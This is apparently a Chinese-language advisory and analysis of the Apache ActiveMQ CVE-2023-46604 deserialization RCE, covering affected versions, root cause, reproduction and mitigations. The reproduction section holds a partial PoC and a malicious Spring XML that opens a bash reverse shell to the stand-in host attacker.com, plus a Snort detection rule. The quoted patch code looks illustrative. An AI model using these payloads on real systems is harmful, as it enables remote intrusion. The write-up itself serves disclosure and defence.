一、漏洞简介¶
1.1 漏洞背景¶
Apache ActiveMQ 是 Apache 软件基金会开发的开源消息中间件,广泛应用于企业级消息传递系统。2023年10月,安全研究人员发现了一个严重的远程代码执行漏洞,该漏洞影响 ActiveMQ 的 OpenWire 协议 marshaller 组件。由于该漏洞利用简单、危害严重,很快被 CISA 列入已知被利用漏洞目录(KEV),要求联邦机构在2023年11月23日前完成修复。
1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)¶
| 项目 | 内容 |
|---|---|
| 漏洞编号 | CVE-2023-46604 |
| 危害等级 | CRITICAL / 10.0 |
| 漏洞类型 | 反序列化远程代码执行漏洞 |
| 披露时间 | 2023-10-27 |
| 影响组件 | Apache ActiveMQ |
| 属性 | 描述 |
|---|---|
| CVE编号 | CVE-2023-46604 |
| 危害等级 | 严重 (Critical) |
| CVSS评分 | 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
| 漏洞类型 | 反序列化不可信数据 (CWE-502) |
| 影响组件 | OpenWire 协议 marshaller |
该漏洞允许远程攻击者通过网络访问基于 Java 的 OpenWire broker 或客户端,通过在 OpenWire 协议中操纵序列化类类型,使客户端或 broker 实例化类路径上的任意类,从而执行任意 shell 命令。
<hr />补充核验信息:公开时间:2023-10-27;NVD 评分:10.0(CRITICAL);CWE:CWE-502。
二、影响范围¶
2.1 受影响的版本¶
- Apache ActiveMQ 5.18.0 ~ 5.18.2
- Apache ActiveMQ 5.17.0 ~ 5.17.5
- Apache ActiveMQ 5.16.0 ~ 5.16.6
- Apache ActiveMQ < 5.15.16
- Apache ActiveMQ Legacy OpenWire Module 5.18.0 ~ 5.18.2
- Apache ActiveMQ Legacy OpenWire Module 5.17.0 ~ 5.17.5
- Apache ActiveMQ Legacy OpenWire Module 5.16.0 ~ 5.16.6
- Apache ActiveMQ Legacy OpenWire Module 5.8.0 ~ 5.15.15
2.2 不受影响的版本¶
- Apache ActiveMQ >= 5.15.16
- Apache ActiveMQ >= 5.16.7
- Apache ActiveMQ >= 5.17.6
- Apache ActiveMQ >= 5.18.3
2.3 触发条件(如特定模块、特定配置、特定运行环境等)¶
- ActiveMQ 服务暴露在网络可达位置(默认端口 61616)
- 使用 Java OpenWire 协议进行通信
- 不需要身份认证即可触发漏洞
- 类路径中存在可利用的 Gadget 链(如 Spring、Commons BeanUtils 等)
三、漏洞详情与原理解析¶
3.1 漏洞触发机制¶
CVE-2023-46604 的核心问题在于 ActiveMQ 的 OpenWire 协议在处理序列化数据时缺乏充分的类型验证。攻击者可以构造恶意的 OpenWire 协议数据包,通过以下步骤触发漏洞:
- 协议协商阶段:攻击者与 ActiveMQ broker 建立 TCP 连接(默认端口 61616)
- 发送恶意数据包:攻击者发送包含异常类类型的 WireFormatInfo 或 ExceptionResponse 消息
- 类实例化:当 broker 解析消息时,会尝试实例化数据包中指定的任意类
- Gadget 链执行:如果类路径中存在可利用的 Gadget(如
org.springframework.context.support.ClassPathXmlApplicationContext),攻击者可以通过构造特定的 XML 配置文件实现远程代码执行
攻击流程图:
攻击者 → 构造恶意 OpenWire 数据包 → ActiveMQ Broker (61616)
↓
反序列化 → 实例化恶意类
↓
加载远程 XML 配置 → 执行任意命令
3.2 源码层面的根因分析(结合源码与补丁对比)¶
漏洞根因:BaseDataStreamMarshaller 类的 tightUnmarsalThrowable 方法在反序列化异常信息时,直接使用传入的类名进行类加载和实例化,未进行安全校验。
问题代码位置(5.18.2 版本):
// activemq-client/src/main/java/org/apache/activemq/openwire/v12/BaseDataStreamMarshaller.java
protected Throwable tightUnmarsalThrowable(OpenWireFormat wireFormat, DataInput dataIn, BooleanStream bs)
throws IOException {
if (bs.readBoolean()) {
String clazzName = tightUnmarshalString(dataIn, bs); // 从数据包读取类名
String message = tightUnmarshalString(dataIn, bs);
// 危险:直接使用用户控制的类名进行实例化
Throwable throwable = null;
try {
Class<?> clazz = Class.forName(clazzName, false,
Thread.currentThread().getContextClassLoader());
Constructor<?> constructor = clazz.getConstructor(String.class);
throwable = (Throwable) constructor.newInstance(message);
} catch (Throwable t) {
// 回退到默认异常
throwable = new Exception(clazzName + ": " + message);
}
// ...
}
}
补丁修复方案(5.18.3 版本):
- 引入类型白名单机制,只允许实例化特定类型的异常类
- 添加
ClassLoadingAwareObjectInputStream类对反序列化进行安全检查 - 验证类名是否在允许列表中
// 修复后的代码片段
private static final Set<String> ALLOWED_EXCEPTION_TYPES = Set.of(
"java.lang.Throwable", "java.lang.Exception", "java.lang.Error",
"java.lang.RuntimeException", "java.io.IOException",
"org.apache.activemq.broker.BrokerStoppedException",
// ... 其他允许的异常类型
);
protected Throwable tightUnmarsalThrowable(...) {
if (bs.readBoolean()) {
String clazzName = tightUnmarshalString(dataIn, bs);
// 安全校验:检查类名是否在白名单中
if (!isAllowedExceptionType(clazzName)) {
return new SecurityException("Disallowed exception type: " + clazzName);
}
// ... 继续原有逻辑
}
}
四、漏洞复现(可选)¶
4.1 环境搭建¶
使用 Docker 搭建漏洞环境:
# 拉取受影响版本
docker pull island/xhkjedu:activemq-5.17.3
# 或手动搭建
docker run -d -p 61616:61616 -p 8161:8161 --name activemq-vuln \
island/xhkjedu:activemq-5.17.3
验证服务运行:
# 检查 ActiveMQ 管理界面
curl http://localhost:8161/admin/
# 检查 OpenWire 端口
nc -zv localhost 61616
4.2 PoC 演示与测试过程¶
使用 Python PoC 脚本:
#!/usr/bin/env python3
# CVE-2023-46604 PoC
import socket
import struct
def send_exploit(target_ip, target_port, xml_url):
"""
发送恶意数据包触发反序列化
xml_url: 恶意 XML 配置文件的 URL
"""
# 构造恶意 ExceptionResponse 数据包
# 指定恶意类:org.springframework.context.support.ClassPathXmlApplicationContext
payload = build_payload(xml_url)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
# 发送 WireFormatInfo
wire_format = build_wire_format()
sock.send(wire_format)
# 发送恶意数据包
sock.send(payload)
sock.close()
print(f"[+] Exploit sent to {target_ip}:{target_port}")
def build_payload(xml_url):
"""
构造包含恶意类的数据包
利用 ClassPathXmlApplicationContext 加载远程 XML
"""
# 数据包结构:
# - 数据类型标识
# - 异常类名
# - 异常消息(XML URL)
exception_class = "org.springframework.context.support.ClassPathXmlApplicationContext"
message = xml_url
# OpenWire 协议编码
# ... 省略具体编码细节
return encoded_packet
恶意 XML 配置文件(http://attacker.com/exploit.xml):
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>bash -i >& /dev/tcp/attacker.com/4444 0>&1</value>
</list>
</constructor-arg>
</bean>
</beans>
复现步骤:
- 启动 ActiveMQ 5.17.3 环境
- 在攻击机上托管恶意 XML 文件(可通过 HTTP 服务器)
- 监听反弹 shell 端口:
nc -lvnp 4444 - 运行 PoC 脚本:
python exploit.py target.com 61616 http://attacker.com/exploit.xml - 成功获取反弹 shell
五、修复建议与缓解措施¶
5.1 官方版本升级建议¶
立即升级到以下安全版本:
- ActiveMQ 5.18.3 或更高版本
- ActiveMQ 5.17.6 或更高版本
- ActiveMQ 5.16.7 或更高版本
- ActiveMQ 5.15.16 或更高版本
升级步骤:
# 1. 下载安全版本
wget https://archive.apache.org/dist/activemq/5.18.3/apache-activemq-5.18.3-bin.tar.gz
# 2. 停止当前服务
./bin/activemq stop
# 3. 备份配置和数据
cp -r conf/ /backup/conf/
cp -r data/ /backup/data/
# 4. 解压新版本
tar -xzf apache-activemq-5.18.3-bin.tar.gz
# 5. 迁移配置
cp /backup/conf/* ./conf/
# 6. 启动新版本
./bin/activemq start
5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)¶
如果暂时无法升级,可采取以下缓解措施:
方案1:网络隔离¶
# 使用防火墙限制对 61616 端口的访问
iptables -A INPUT -p tcp --dport 61616 -s <trusted_ip> -j ACCEPT
iptables -A INPUT -p tcp --dport 61616 -j DROP
方案2:启用认证¶
修改 conf/activemq.xml,添加认证配置:
<plugins>
<simpleAuthenticationPlugin>
<users>
<authenticationUser username="admin" password="strong_password"
groups="admins"/>
</users>
</simpleAuthenticationPlugin>
</plugins>
方案3:禁用不需要的协议¶
如果不需要 OpenWire 协议,在 conf/activemq.xml 中注释掉相关配置:
<!--
<transportConnector name="openwire" uri="tcp://0.0.0.0:61616?maximumConnections=1000&wireFormat.maxFrameSize=104857600"/>
-->
方案4:WAF 规则拦截¶
在 WAF 或 IDS 中添加规则检测恶意数据包特征:
# Snort/Suricata 规则示例
alert tcp any any -> any 61616 (msg:"ActiveMQ CVE-2023-46604 Exploit Attempt";
content:"ClassPathXmlApplicationContext";
sid:1000001; rev:1;)
六、参考信息 / 参考链接¶
6.1 官方安全通告¶
- Apache ActiveMQ Security Advisory CVE-2023-46604
- Apache JIRA - AMQ-9370
- NVD - CVE-2023-46604
- CISA Known Exploited Vulnerabilities Catalog